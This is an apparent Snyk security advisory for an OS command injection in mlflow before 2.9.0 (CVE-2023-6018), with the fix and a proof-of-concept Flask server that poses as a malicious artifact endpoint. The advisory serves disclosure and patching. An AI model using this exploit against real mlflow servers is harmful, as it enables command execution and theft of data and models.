OS Command Injection Affecting mlflow package, versions [,2.9.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
91.68% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about OS Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-6069186
  • published17 Nov 2023
  • disclosed16 Nov 2023
  • creditkevin-mizu

Introduced: 16 Nov 2023

CVE-2023-6018  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.9.0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to OS Command Injection through a /ajax-api/2.0/mlflow/model-versions/create request. A malicious user could use this issue to get command execution on the vulnerable machine and get access to data and models information.

PoC

from flask import Flask, jsonify

app = Flask(__name__)
app.config["DEBUG"] = True

@app.errorhandler(404)
def page_not_found(e):
    return "Hello World!"

@app.route("/api/2.0/mlflow-artifacts/artifacts")
def index():
    return jsonify({
        "files": [
            {
                "path": "/tmp/poc",
                "is_dir": False,
                "file_size": 50
            }
        ]
    })

app.run("0.0.0.0", 4444)

CVSS Scores

version 3.1